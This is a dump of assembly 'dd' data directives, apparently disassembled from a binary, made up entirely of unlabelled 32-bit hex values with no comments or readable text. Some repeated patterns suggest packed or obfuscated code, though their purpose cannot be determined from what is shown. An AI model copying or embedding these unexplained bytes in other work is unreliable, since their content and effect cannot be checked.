dd 3D684D12h, 7C5389D6h, 631A57A2h, 0D5000003h, 9C620558h
dd 44BADD22h, 0BF79AE5h, 0F13150ADh, 240C136Eh, 81DC5FEBh
dd 5DA200FEh, 1467C43Ah, 0D62B8D75h, 324FDBB3h, 0A005C949h
dd 113B0CEEh, 0FBC7328Fh, 0E1052479h, 0D76A067Dh, 0ABCFD2C9h
dd 3048C7A4h, 0AED0098h, 2FA00B96h, 9556214Ch, 62C5A00Bh
dd 7E5A391Fh, 0B9614E3h, 4AFEABA0h, 8DD0539Dh, 67BC3C02h
dd 5A361B28h, 0E8F3D8D4h, 687983h, 0AF110000h, 0A586F14Ch
dd 9D85768Bh, 0C9AAA00Bh, 294D08EFh, 0CC91EC4Fh, 86D95AA4h
dd 7AC7270Bh, 6F492E3Fh, 0CBC2BAD7h, 8665ABCFh, 9B7F740Bh
dd 35B2A00Bh, 2283AFEAh, 7CCB50DFh, 0AC7B2CC8h, 0DECCE3CEh
dd 4DE5BDF9h, 0B7D4730h, 9512ECA0h, 0D28B654Ah, 0DF67A72Eh
dd 0CA3483E8h, 0DBE7126Dh, 48200558h, 0DF0Ch, 8F11D300h
dd 5AD82632h, 0CCF22B05h, 2EAF0D6Bh, 941EDB47h, 332CF10Eh
dd 53D95F9Ah, 0CE492EFCh, 0C03E80E0h, 2F139E63h, 42D170CDh
dd 0A5ED7282h, 0D574C92Bh, 1A368BEDh, 0D87599B5h, 3503A332h
dd 4D46AEFCh, 56BE8E23h, 2201ABCFh, 1E8CC916h, 2428491Bh
dd 55993D4Ch, 59FF123Eh, 84A5EFB1h, 0C42789A7h, 0DABF0464h
dd 54D31DB7h, 29D26F09h, 0E9A264Ah, 0FA7D432Dh, 652774A7h
dd 88E17C50h, 201D7h, 67BA3700h, 3F84FEC0h, 0F447A618h
dd 0B20F6D55h, 8DD053AFh, 0B90D82EAh, 7A44EB36h, 3E80A7FCh
dd 0E7DB7EC1h, 3D193885h, 0C7EF8825h, 5634A005h, 338E1165h
dd 0D16C842Ch, 0A5EDB426h, 7E40280Bh, 2997A1FEh, 0B30E6DCDh
dd 17826744h, 0A1CB5A36h, 2680E05Fh, 0A88D5ED9h, 83745C61h
dd 6F2E294Dh, 32603693h, 0EF0987Dh, 72453B0h, 37F91129h
dd 0A4F97BBBh, 9D7B48C7h, 0CF43F880h, 0D1583BABh, 0B13B542h
dd 4EB0C8A0h, 4263AEF1h, 8A49FF76h, 83E87582h, 0B223h
dd 8F11B400h, 78FBC732h, 0AD97EA25h, 1EA5EDB8h, 0C937419Eh
dd 0CE9F1A67h, 0FD7F43E2h, 871F69A0h, 0EDAE916Ah, 0DBB596A5h
dd 0F7732549h, 3CA075D6h, 0A68B51B2h, 0DB755A6Bh, 0CF698646h
dd 0C76A49ABh, 2C443FA7h, 0EFDDE491h, 0C26E4DA5h, 8207BFCh
dd 19F74CA6h, 0EA35B608h, 50316CB3h, 88F9307Ch, 106h, 0C76AB530h
dd 1F227FFBh, 58FF42A3h, 92B50A66h, 0D170CB2Ch, 3BBC0887h
dd 16141E0h, 0C6259DBCh, 8AEAD47Bh, 20381235h, 5C6EA8Dh
dd 9A6D4FA0h, 0D22E8E11h, 5C21028Dh, 8C4C933Dh, 0C5501D7Eh
dd 7F00D2Bh, 2CA5EDA9h, 1D9F614Fh, 1148A1C0h, 0ADC7328Fh
dd 0E7F7CA15h, 3E7F23B6h, 0ECD46417h, 0EEAC9A5h, 0D563C020h
dd 0DA7CCB8Ah, 0F6B079Bh, 816647B2h, 0F07496B7h, 0AB60FD9Bh
dd 0A8ABD4E0h, 0E243ADCBh, 6533109Fh, 5DA2022Ch, 1F64C43Ah
dd 24B6FD90h, 81FDDB02h, 3463BE21h, 0FBC73217h, 9FE9207Dh
dd 8157902h, 75DDBE65h, 0B3E840C4h, 469B1BE5h, 972186CBh
dd 2CCD1160h, 54E8614Fh, 7F025FC1h, 55DC2183h, 6D0EA33Bh
dd 0B2650896h, 0BB3907D1h, 87E4CA66h, 49255C34h, 47A96C10h
dd 965B1CB1h, 60DE6508h, 0D1B79403h, 684D90EFh, 9A1AE48Bh
dd 9708F30Eh, 4E2D6508h, 3712E69h, 78000000h, 94112E19h
dd 80E0CE49h, 6DCAF423h, 5BDBE712h, 44A78B06h, 2FB0BEF9h
dd 1F9DA5ECh, 0A6B57C2h, 0FC7678B7h, 575C68A7h, 0B850E789h
dd 4, 8358C701h, 3C8704EFh, 0CA685C24h, 89000025h, 4682414h
dd 89000075h, 6857242Ch, 23E5024Eh, 5E7C15Fh, 4689E781h
dd 0C7816691h, 0A167A1FFh, 3C8BFA89h, 4C48324h, 5A68h
dd 24248900h, 4240483h, 4EC815Dh, 89000000h, 458F2414h
dd 2434FF08h, 4C4835Dh, 5A2434FFh, 4C481h, 11E90000h, 70FFFB5Fh
dd 0EE4CB892h, 0C50305E7h, 0A020E0FFh, 0DC4511BCh, 648C4D7Bh
dd 0BAE71661h, 0D9572494h, 0BE602C20h, 0F564336h, 52294A6Dh
dd 7460355Dh, 712806D5h, 22931041h, 594B66B9h, 92A832D3h
dd 172627F2h, 0B75C716Eh, 20ED7604h, 21C140D9h, 0BD7604Eh
dd 461828C6h, 9B1A5B7Ch, 17500CFAh, 94BD7048h, 4B1B3ADBh
dd 75DF316Ah, 0B7C170DFh, 0DD105CEh, 0AE85B34h, 95000000h
dd 0AFB16B2Eh, 61EDFC08h, 0EE95B7Ah, 0D2000000h, 0AACDEC0h
dd 62C28D12h, 0CB38F36h, 8BC3814Bh, 0E9000073h, 8, 0FCA02CBDh
dd 0C007E045h, 1CAEBAh, 0AE800h, 85730000h, 82030986h
dd 67BC13E1h, 8C0Fh, 8B5F0000h, 0F78B6603h, 3E70F081h
dd 69B15E6Eh, 75FCE881h, 9E85648h, 0E9000000h, 46320148h
dd 483FFE11h, 5EFFB70Fh
dd 9835C081h, 10E92EE0h, 42000000h, 4B9EDEA2h, 0C6163C55h
dd 5534F5ECh, 8981BF2Fh, 0D2C18003h, 6602EB83h, 4B4BF38Bh
dd 1EA81F5h, 0F000000h, 1685h, 2CE900h, 4F3C0000h, 258C6340h
dd 3679F764h, 6608E914h, 0F512E1Bh, 58Ch, 78CBE00h, 80E94F3Ah
dd 38FFFFFFh, 0A68A7B7Fh, 8C24F49Ch, 0ABE9E234h, 50000000h
dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h
dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh
dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h
dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch
dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h
dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h
dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h
dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h
dd 3D94E7A6h, 2B7D8332h, 0B1E94485h, 68000012h, 5E7F2A8h
dd 0FA8F4AE9h, 0F3A768FFh, 40E905E7h, 68FFFA8Fh, 5E7F49Ah
dd 0FA8F36E9h, 0F61868FFh, 2CE905E7h, 68FFFA8Fh, 5E7F69Ch
dd 0FA8F22E9h, 0F75068FFh, 18E905E7h, 68FFFA8Fh, 5E7F7E3h
dd 0FA8F0EE9h, 0F88A68FFh, 4E905E7h, 68FFFA8Fh, 5E7F92Ch
dd 0FA8EFAE9h, 0FA8768FFh, 0F0E905E7h, 68FFFA8Eh, 5E7FB61h
dd 0FA8EE6E9h, 0FCB568FFh, 0DCE905E7h, 68FFFA8Eh, 5E7FE30h
dd 0FA8ED2E9h, 0FFF168FFh, 0C8E905E7h, 68FFFA8Eh, 5E80103h
dd 0FA8EBEE9h, 0FABE38FFh, 2D696DDCh, 9418C0A1h, 0FEBC3B0Eh
dd 266C91D0h, 5B6403B8h, 0B3F61CA2h, 0ED5C7A48h, 4227A3EFh
dd 0CB8B1795h, 485C1DBAh, 88F5F9FFh, 0E9696E42h, 18B90F40h
dd 3C69C6FCh, 0F8D4A0Dh, 0C76E7FFCh, 0B15D5B9Ch, 0B2B59986h
dd 0FAD84115h, 7CE35801h, 0AEFDB93Dh, 0A8F19C2Dh, 0F9FAA79Bh
dd 33764E88h, 3FE62DDEh, 3C4Dh, 7B187100h, 0BCBD1A9Dh
dd 55FC18B9h, 0B90C4D1Eh, 6EC5FC18h, 31CB46EDh, 46B3D52Ch
dd 9DF466C3h, 502F01FAh, 206C6ED1h, 9E93FC87h, 8DF9FADDh
dd 0D9347B4Bh, 763FE677h, 0F2h, 23696E48h, 5E6499D8h, 555384CFh
dd 0CF0C4F36h, 0A831BAC1h, 6C6A30A9h, 18BD4FFBh, 9D3ABDFCh
dd 0FC18BDDCh, 0A2AD3E75h, 166B7735h, 0C140DBE1h, 8A53599Eh
dd 89B8ACB1h, 0FAEEF620h, 26830201h, 0F9FA8C35h, 0A1714BECh
dd 0F0CE1FD6h, 8FE422BBh, 37BFFE03h, 1AA32873h, 0D5023C21h
dd 0A4E79AD7h, 0DF1C6F35h, 326830Eh, 0E1041F79h, 7198D97Eh
dd 0F249F7DEh, 25404E8Fh, 4EF317B0h, 0DE7168E9h, 95C2B9F7h
dd 642AD392h, 0F9A574E5h, 0AEFDC338h, 46EA2C2Dh, 0DCE01A4Dh
dd 0EFBB0C49h, 0D653619Ah, 0FE7DA297h, 1AA48F9Ah, 0C6000010h
dd 3B0E9410h, 6ED3FFBBh, 0C9B8266Ah, 3F02880Eh, 5DEAF0BEh
dd 0AEF4E9B6h, 149A4120h, 7D41BB8Eh, 0A1E71051h, 6FC83925h
dd 0F9FF4BEEh, 6EBC7E27h, 6BB276Dh, 0AF4DAC91h, 0D3062EA3h
dd 0C03DBECDh, 397F78E7h, 7B18D79Dh, 6691D057h, 9EEDAB2Ah
dd 5085E05Dh, 0B9C788D1h, 211EFC18h, 0BEB01998h, 5101FAD1h
dd 180831Ah, 0A138399Eh, 92E9F9FAh, 0FAA188C9h, 0D9E259F9h
dd 0FAA1C370h, 9E96D0F9h, 0E62BB66Bh, 0A354173Fh, 0BA5FC4E5h
dd 63000000h, 0C98A2FAEh, 18FC18B9h, 22D79A23h, 891E0164h
dd 0DE2CF21Bh, 0E16079E5h, 0A57B6FCh, 0FC18B17Ch, 810D8B4Ch
dd 7C7B37A0h, 0ADAE0B3Eh, 64FC18A9h, 7E4BD20Fh, 0DD4AFDD1h
dd 0CE853B5Ah, 3794851Eh, 0A0AE105Dh, 80296871h, 1FABB16h
dd 13C4C2B9h, 82275A0Eh, 41FEAF4h, 6ED1502Fh, 0C6BB276Dh
dd 0DD628F15h, 0DCFE7D4Ah, 0F1BE649h, 0FC90000h, 0BA3A0F8Bh
dd 6991D0FEh, 0DC8B925h, 0BD3E038Fh, 0B55CEBF7h, 21ADF3E8h
dd 8F0B9940h, 567C40BAh, 3AA0E613h, 0ED6ECB3Ah, 24F9FF4Ah
dd 6D6EBD79h, 76612027h, 0A7A83130h, 7EFC18B9h, 9FE2B801h
dd 1FA5565Ah, 0F4124F8Ch, 23696ECEh, 5A6099D8h, 810DCDBCh
dd 82783B7Ah, 0ED6EEF3Eh, 491B4960h, 76F9C249h, 0C1C53181h
dd 275A0E94h, 3062A37h, 0FA2B70A6h, 6CDCAB01h, 4019B7CBh
dd 7A6EF3F6h, 0D20544C7h, 58AAF3D4h, 4BFC97EBh, 71E6A9FCh
dd 0E1189B4Dh, 0A0348D3h, 17B034D7h, 0E017315Eh, 0D80043DAh
dd 0CF04B1D4h, 0C07AEF92h, 2FEE6340h, 1642AD3h, 0C34E9FD4h
dd 0B1802866h, 92284302h, 72B2F140h, 1A5DCC39h, 8E33DFDDh
dd 1C3A4B19h, 0BC1D0C54h, 0F52D9CBBh, 7A01D6Ah, 0E6139F58h
dd 376C30AAh, 5954BDFAh, 7217010Fh, 0E2813h, 8602F400h
dd 0E9AD2918h, 505C9CEDh, 0BA00F74Ah, 0E2B02D1Ch, 17A84FE4h
dd 4F32D8E6h, 0A998068Ch, 1E636F33h, 0F37D3D9h, 4DE051F6h
dd 4C31F9FFh, 23696E8Eh, 0F47C7D3Ch, 18B9E253h, 0F4433FCh
dd 0C76E7FFCh, 0DE4165EAh, 0FA7BDC5Fh, 30FC18B9h, 18B9A697h
dd 1A007FFCh, 97339C2Dh, 4E01FAEAh, 66D94EF1h, 33B7F9CAh
dd 0C4F79334h, 53F46B5Fh, 418618Bh, 0F15EAD9Ah, 0F7DC7D7Ch
dd 0EA1DE96Fh, 45C8D737h, 5894h, 0A3521500h, 18E6C4E5h
dd 139F5D7Bh, 13164388h, 0FB057BB6h, 0A2A59201h, 0DA7FF9E3h
dd 0F9FAF499h, 869FAD45h, 0A1AD6736h, 0D6719DCAh, 0F9FA355Bh
dd 0AC2A7069h, 9C4F1FDDh, 0CF719BD3h, 82EF212Ah, 0B0B4CB00h
dd 5885C47Bh, 0C172D74Ah, 10F9FA85h, 98FB825Bh, 0D49h
dd 577B18A2h, 892E51D0h, 0FC18B9C8h, 0AA35A114h, 50FE9A5Dh
dd 46A5E911h, 0A60FD815h, 200FDDEh, 44C77A31h, 0F1F364C5h
dd 5522F9F0h, 8E0CCD74h, 2EB82100h, 295BAD20h, 56B5E252h
dd 51D0F499h, 0E8084B08h, 57169907h, 498219A5h, 0C8287FF0h
dd 0D996F7h, 0FBBAAD9Ah, 35DC64FEh, 12218993h, 1F8839A5h
dd 6D33A84h, 9489102h, 46B3CAD0h, 0DAFC29D9h, 0CB13280Fh
dd 0B742F354h, 0A493F7C8h, 9B5FF86Fh, 0B20A2ADDh, 325C0ECFh
dd 644029E0h, 875A21Fh, 0F891B0DBh, 0AA78DBAEh, 7600000Ch
dd 0AB9E0480h, 1E636F2Bh, 79C8D6DAh, 0AF92387Eh, 0CD7A602Eh
dd 5E649926h, 840AF1B0h, 0EDB12B1Eh, 515780E1h, 0DF7889B5h
dd 0F9FF4F9Eh, 0AE0CCEB7h, 7770EAEFh, 705498DFh, 0E04992CFh
dd 0FC187853h, 23260A17h, 68C186h, 0BA206302h, 852697F6h
dd 74372A01h, 6AE33A86h, 6A6F2E51h, 16C3A62Ch, 2AAE9190h
dd 0C5206C6Ch, 0FB825B90h, 3A2D010Eh, 125B499Dh, 6E8BE004h
dd 0FE799AF7h, 26C4AFFAh, 0F200000Ch, 271A8004h, 9AEFEBAFh
dd 0F5B4525Eh, 2B1E8402h, 49E6ECB2h, 0DAE815AAh, 8E4D3Ch
dd 6935A79Ah, 0DDDB1C6Dh, 53F40D31h, 0F9FF4FE2h, 6E887233h
dd 99D82369h, 64275A60h, 93D22977h, 0DFE82569h, 0D2A224B4h
dd 40F825Fh, 673293Ah, 0AE1D0000h, 45A0EEEFh, 51FEB710h
dd 84BCA7Dh, 38BDC8CCh, 31F2221Fh, 8C5D658Eh, 27D323h
dd 0F275C202h, 298E4AB3h, 0F9F0C728h, 745582F9h, 0F8D4A0Dh
dd 7339BE83h, 0C7324F28h, 0E976F9F0h, 0D30342C5h, 2E8BF6D7h
dd 41294B8h, 0C8892E53h, 0C2F7D216h, 0F9728917h, 4CA9E65Dh
dd 0FE79CF13h, 72C0A3C6h, 3E00000Bh, 93D6FCB8h, 0C6BB2763h
dd 21008E12h, 97EAF0B6h, 5B25866h, 169C415Eh, 7C42B988h
dd 0A5E91356h, 98F4839h, 7A0C18Dh, 0F9FF4E56h, 6E44868Fh
dd 99D82369h, 0B2275A60h, 0FB085E03h, 2C3790B5h, 276A5A8Ch
dd 3A047AEAh, 5C041h, 0FB886500h, 0BFFC18B9h
dd 88BBE92h, 0F2098D49h, 0B96FE079h, 0C3A6FC18h, 0C0759016h
dd 6ACF328Bh, 200A948h, 3A7DEC5Bh, 6ED3FFBDh, 0EFD82369h
dd 7EDB4E62h, 41D1A68h, 3A4FB483h, 0CDFE7A5Ch, 0ADFD9B8h
dd 4B8D0000h, 0F6FE434Fh, 0A55514B2h, 498CFD19h, 0F9E24743h
dd 0F1902FABh, 65612FACh, 0C3CFD504h, 0AA307C7Eh, 7E6422D7h
dd 0A9AA0F76h, 78F9FF4Eh, 0EFAEF135h, 571AA3E7h, 5E81E4A2h
dd 60881399h, 469B0EE6h, 0E73A040Fh, 77F52472h, 0ECECD84Dh
dd 2D526BA0h, 525h, 0EDEFAE11h, 7EDB5AA1h, 0FC18B9FDh
dd 0D9E25F14h, 0D84F63E0h, 0A9487Fh, 53D6AD02h, 18A1E710h
dd 9B21D699h, 4F8BCA7Fh, 10D7CA43h, 0E125466Ch, 5A6099D8h
dd 0B5C966C3h, 808DF9FFh, 0CE1CBDACh, 61041DE6h, 4196ED0Ah
dd 0F095FE7Bh, 0A3891h, 0B6F2E400h, 199D5928h, 404C8CFDh
dd 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h, 0D9A8367Ch
dd 0E739F23h, 1FC7C3C9h, 411041E6h, 5CC1F9FFh, 23696E9Eh
dd 71D659D8h, 0FC18B9C0h, 0DE815A11h, 0E0089319h, 0B5FBFEA1h
dd 0D75A2A14h, 3A040FFAh, 48051h, 0C6889500h, 0B4FC18B9h
dd 0C584BBAFh, 0FA738A18h, 0AA3FBEE1h, 0E24360C0h, 16C149BDh
dd 0AB433D5Eh, 9218C100h, 21BCE049h, 64D30200h, 7735A2E5h
dd 0DBE1166Bh, 0CCEA7740h, 0D44B800Ch, 12943773h, 94116E04h
dd 0FE79D389h, 9696F98Ch, 42000009h, 0B78A1094h, 0EA5F7B3Fh
dd 4524A2EEh, 0BB8E1492h, 0D9567C42h, 2A78653Ah, 901EDDACh
dd 0F9C5370Ah, 2D6B6CDDh, 0E344BDA1h, 0F9FF4072h, 6E38E2A3h
dd 59D82369h, 4DD8E416h, 47B0BF08h, 2E883A41h, 0A92856h
dd 0FC18B94Fh, 0D807586h, 4F0BAC8Bh, 5186C912h, 0CC14F4Bh
dd 0A33A04EBh, 14Ch, 23696E87h, 5A6099D8h, 2D8A0DBCh, 0FC18B92Ch
dd 138D8EE5h, 8E962C0Eh, 0B2DFA831h, 0CF68EB9Eh, 0FC18EA8Eh
dd 3753599Ch, 87206F78h, 1FA8BB3h, 41F257EAh, 90F9FACBh
dd 6EFB6EDBh, 510EBDF1h, 0F9BF3807h, 0EBFC29A2h, 0A54AE740h
dd 1F59F9FAh, 0A1581B27h, 7A438813h, 0E62B11CCh, 44BE3Fh
dd 0AE800000h, 0EAA5B939h, 5770A9D7h, 0AADDF19Eh, 0FA5B4D0Dh
dd 5CAF8401h, 0FA1B7EF3h, 0CA8C4CF9h, 0FA1BEC6Dh, 114E25F9h
dd 0D914B8Ah, 5C281EFEh, 6617C538h, 1D4A4AD9h, 36794D8Bh
dd 3FE6BCDBh, 9670h, 0EFAE4A00h, 5807A0EEh, 4382199Fh
dd 4EF1149Ah, 79F80389h, 6D9C3A80h, 0F4E5AD2Ah, 0A9E657B6h
dd 31A61952h, 4D09526Bh, 5FFC18E4h, 0C5F61C9Ah, 54F57458h
dd 1FD4240h, 0ACF0EA5Fh, 0EF3E7C7Dh, 4F0E316Eh, 0A79A008Eh
dd 2C036836h, 6F045FA3h, 83B3B1Ah, 0EFE90000h, 9A5A2FABh
dd 49B1F01Eh, 0EDE85945h, 9D5E23AFh, 957C8B17h, 0C1CDD308h
dd 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah, 0C4F9FF43h
dd 6D6E9D59h, 99ECAA2Dh, 0A21FA556h, 0DF186975h, 6E373DD9h
dd 99D82369h, 0E6AA5060h, 86BC2DA9h, 0C6000002h, 9F5D7B18h
dd 6A3A613h, 1FACAF4h, 6C35502Fh, 0F9FAA8D7h, 56B5F1E5h
dd 45A0EEEFh, 8DA79FD9h, 0FE16632Dh, 0C8589595h, 9E73B68Eh
dd 0D3FE670h, 22Eh, 0B9C48831h, 0A9B6FC18h, 80038285h
dd 18B93627h, 3790EFFCh, 0A9B4EEh, 0E160DF02h, 39B73F7Eh
dd 0FF49DF90h, 0CC3976F9h, 0A4AB3CB9h, 18697533h, 7542D9DFh
dd 0E445C4E8h, 41D1C86h, 6038A3E2h, 0A3FA3775h, 3E75912Ah
dd 7A5BC8F1h, 7FC6A3FEh, 761h, 0C1CDC90Fh, 0AA307460h
dd 739F23D7h, 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h
dd 0FAE0414Dh, 0A05928B6h, 0B1F0FC1Ah, 0FF422728h, 77B7FEF9h
dd 40E9696Eh, 0FC18B90Fh, 0E93C69C6h, 0D02B7166h, 0C4276B91h
dd 0B97BFC5Dh, 0DDAAFC18h, 0DF2E6A6Ah, 0CF3105A7h, 0C93501ABh
dd 54588010h, 0BFFF681Fh, 704D5C98h, 5F6397CAh, 2669988Eh
dd 5992E9AFh, 0D627FA80h, 5F843A04h, 0BE000001h, 40E9696Eh
dd 0FC18B90Fh, 0E93C69C6h, 0AF2B7166h, 9C83A7ACh, 0FAD85F3Bh
dd 0EDEAAD01h, 5E1FB8AFh, 0F7F9FAA6h, 8CFB2FB8h, 0A6631079h
dd 0F670F9FAh, 0C53170FEh, 528F0BCBh, 0E8D8B739h, 0F4D5B4FAh
dd 0E63B9B76h, 2E303Fh, 180A0000h, 0AF388B7Bh, 5047AF0Fh
dd 93C3641Bh, 4201FA0Dh, 0C63372F5h, 9730A5C0h, 4D8EA38Ch
dd 5B9DF9FAh, 7E9246Bh, 0B8463FE7h, 78000000h, 0AE29696Eh
dd 2968B3E8h, 9E2F7566h, 1642AD3h, 89319DEh, 0C8A10C9h
dd 190B8FDBh, 3E7C7DFCh, 9CBAA790h, 63E65359h, 0FD3A36C6h
dd 46B3F201h, 54236740h, 5B6992D5h, 1D9C1F82h, 0FDBDBBBCh
dd 0CC1D6AF9h, 0D74A5885h, 0BB90F842h, 476088E7h, 0B7FDFE43h
dd 5F13494Ah, 2A751004h, 60Dh, 7D991DDBh, 0C6CCC80Ch, 0AF2B7763h
dd 719D1BDAh, 0D9C5CB30h, 1FAC3A2h, 0A75217B3h, 4E8CFD19h
dd 0F4E54442h, 0DD2428B6h, 0FF45FB7Ch, 0A36B2AF9h, 0BB276D6Eh
dd 0D9E49106h, 172B4277h, 84DD8E6h, 92470AD3h, 0BE841514h
dd 0B79EF570h, 0A3622435h, 8917F209h, 0AE6C6A30h, 4A0BAC2Fh
dd 9BFC18B9h, 0B9DA9BACh, 3C0BFC18h, 7533A4ABh, 662AAF16h
dd 9EDF2E72h, 1ABF3E21h, 0FC18B959h, 7C2AB388h, 24EDh
dd 696E1100h, 6099D823h, 801BA950h, 878F1E4Bh, 0D445F1C5h
dd 0A7A010A7h, 0C339465h, 80C1CDCBh, 24h, 0E8EFAEBAh, 0A15619A2h
dd 61A0E611h, 60D53076h, 0FB77D02Bh, 0A6FC18B9h, 0FFBD387Bh
dd 229064EEh, 0EDEBF7B5h, 0C98A2FAEh, 18FC18B9h, 60E433FFh
dd 87FC194Fh, 528DF596h, 775032C7h, 58830FC8h, 318E1D4Ah
dd 8609382Ch, 78B1A207h, 0B60FC18h, 6B8369B2h, 0B5820200h
dd 62A633B2h, 17678D24h, 911DDD0Ch, 79F8C10Ah, 6D9C3A80h
dd 0DAAB41FCh, 3B8CD40Bh, 8CFC334h, 0F9365582h, 4EF17054h
dd 0DB1088D9h, 0D0E9FB2Eh, 0E84FCA77h, 35340307h, 840AF3B2h
dd 6CD3F461h, 0C328F16Bh, 0BF321C6Bh, 0FB5CDF42h, 0F7C8087Ah
dd 0E1048870h, 904DEE74h, 0E0E4AB34h, 0D5B10A47h, 0C6256394h
dd 0C14064E9h, 2AD07278h, 51DE950Ah, 0F8925A9Ch, 922B0A1Fh
dd 5E000004h, 0B3F61C98h, 0E65B4743h, 4120AEF2h, 0B78A1096h
dd 25527846h, 367C613Eh, 9C22D9A8h, 0C5C93376h, 296F68D9h
dd 0E740A1ADh, 0F9FF4776h, 6E24E6AFh, 2A72369h, 0B10A9843h
dd 3843498Eh, 0C77A40B9h, 7F485484h, 281C5ED4h, 1E9C5B1Ah
dd 575582CDh, 246A91D0h, 78F95EC1h, 0A9FC18B9h, 464465D2h
dd 41305D8h, 793FA83Ah, 69A643h, 5F1C815Ah, 26000000h
dd 3C9D7B18h, 0FC18B93Bh, 41F257EAh, 90FC18B9h, 0E316EDBh
dd 0FB0556A9h, 41C0BF01h, 51D0DC1Eh, 216D6F2Eh, 87C891DAh
dd 5EF9FAF4h, 99C2D8E1h, 0F9FAF4E6h, 0E26523D4h, 0EBB92063h
dd 51025B90h, 80F9FAF4h, 0F57412ABh, 654642B2h, 0D17600FAh
dd 0F9FAF460h, 7E8DFAB1h, 3C017h, 696E2F00h, 6099D823h
dd 96BBBC5Ah, 12B743B8h, 0FC18B921h, 114EBBF0h, 0CB6CEF6Eh
dd 0FC18B98Ah, 0B976E740h, 0D0AFFC18h, 83ECFD4Ah, 1FAD8B7h
dd 2D0A91EEh, 0F9FAA610h, 0BEF1C503h, 3FE62E63h, 28C8h
dd 7B18F200h, 0C777D057h, 501FAD1h, 0D6099742h, 0DB4F9824h
dd 330196Ch, 10F9FAA1h, 76ABDED6h, 0D53FE62Bh, 0D6h, 8A2FAEE9h
dd 0FC18B9C9h, 0D79A2318h, 0A2E56422h, 0A6177632h, 6F77E05h
dd 0F5E26DB8h, 0ECED54B7h, 83A720AEh, 0A1FC18BDh, 15547238h
dd 6A47A6E4h, 1F5EC1E5h, 348D3D7h
dd 30D277BAh, 6301FAD3h, 35921514h, 0F9FA9804h, 0B42366DDh
dd 631D5F6h, 0B3323519h, 0EE038126h, 19A21401h, 1F7162B0h
dd 8BBEF504h, 568713C8h, 43B83D48h, 61F9E247h, 0DE6897D8h
dd 84F14EF7h, 7DA7707Fh, 5F2643FEh, 2D1h, 0B15D599Fh, 1A8004F0h
dd 0E3EFB327h, 0B551579Eh, 1DB907F4h, 3DBEFFE6h, 0E3166B77h
dd 8A7031DDh, 30A99806h, 1606C6Ah, 0FF46B7B8h, 0E7276EF9h
dd 20276D6Eh, 0BA3F7961h, 0F72CA9FCh, 0E1AD2D94h, 0C3E4519Ah
dd 377562C7h, 0C8C7130h, 3790CDCBh, 2FAE9553h, 18B9C98Ah
dd 9A2318FCh, 9988BCA1h, 0FAD13E30h, 4E8BCA01h, 5C2B7F48h
dd 0A1D360C9h, 0FBE1F9FAh, 0EEED54B7h, 0A18CCD6Ah, 0EE45F9FAh
dd 0C4826AB1h, 0FE7888F0h, 2B4E8306h, 7CFF3FE6h, 0FAAD9ADBh
dd 0EBFC4BF9h, 0BAA6h, 29B62300h, 0F1806698h, 6ED09637h
dd 0BD3C2369h, 18B95B1Ch, 0E6AC51FCh, 73C85687h, 5B80C36Ah
dd 0DD693655h, 0EFFC18BDh, 6F35A6EAh, 6462DF1Ch, 0B7D6D405h
dd 4EF1D57Ah, 0FAD339E9h, 0F7136801h, 0F46B5FC4h, 1F48DC53h
dd 0C77A3104h, 26835784h, 0F7DE6835h, 7BFC5DECh, 0AAF7DE68h
dd 342B60DDh, 0E2398575h, 0F74A5069h, 5E73B806h, 49FE7DA7h
dd 1BF553Ch, 6B6D0000h, 16DEA32Fh, 0C5357492h, 696CDDF9h
dd 19C2A723h, 11F00F8Bh, 45414F8Ch, 23AFF5E4h, 8A109C5Eh
dd 5E4442B7h, 89CA6F96h, 58F9F0B8h, 39AE11D5h, 0A25B649Ah
dd 3B477B1Ch, 43B8A700h, 0E710517Dh, 6E3F25A1h, 99D82369h
dd 0CDBC5A60h, 4A56840Ch, 3E4DBA33h, 0F9685CC1h, 0FAC0B650h
dd 9BE25901h, 0F541353Fh, 0C0838604h, 55598119h, 7F488D18h
dd 8FA3A0ABh, 9F23D998h, 6098CF0Ch, 0A3048B5Ch, 418C333h
dd 515D9FE2h, 995E81E4h, 64D1D7CFh, 0BAEDF63Ah, 0A22B723Eh
dd 2A6C1675h, 0D1F59A5Ah, 3FC909AEh, 80030A3Eh, 0B6971BC1h
dd 0EDBFBF85h, 40C6E75Ch, 5D9AEFEBh, 76D3A555h, 0EDBFBFC5h
dd 93EA271Ch, 579EED5Ah, 0A0E613A5h, 0BF5718A1h, 0B18EEDBFh
dd 9FD92144h, 21D89BA7h, 0D2074A93h, 0E91255D4h, 2B6026D1h
dd 206691D0h, 825B90C5h, 9A4ED384h, 6337A4E7h, 64D1347Ah
dd 0B8FCF82Fh, 50DFE86Dh, 5DC6EFF7h, 98432610h, 0EBAADD0Ah
dd 1358A3EFh, 0A1E0A3CAh, 0E8577036h, 7733A3EFh, 5D07E33Ah
dd 0C2E66B69h, 0FC5DDC5Fh, 0EB91B47Bh, 81B217AAh, 50EB91B4h
dd 0B41DAE1Bh, 1673CD2Ah, 57008EE5h, 0C663E6CAh, 1F6BBFE6h
dd 15994302h, 0E81356B4h, 0DD0A43DAh, 5084C74Eh, 0BF38399Eh
dd 92E9DF4Bh, 1CDD8425h, 0EF246094h, 53599EE3h, 0E49D6FC8h
dd 69E81ED6h, 9DE8B426h, 0EFC78F58h, 4A505683h, 618402F7h
dd 6AB1F7FEh, 84F2C28Ch, 0F8495553h, 65D673FFh, 6798D896h
dd 64D13472h, 0D55481FEh, 0C4276592h, 442F3697h, 0Dh, 0A726A77Eh
dd 18B95102h, 12AB80FCh, 2C686E54h, 5B6196D9h, 575B81C0h
dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
dd 8307CF76h, 8956F278h, 4C681E6h, 83000000h, 343304EEh
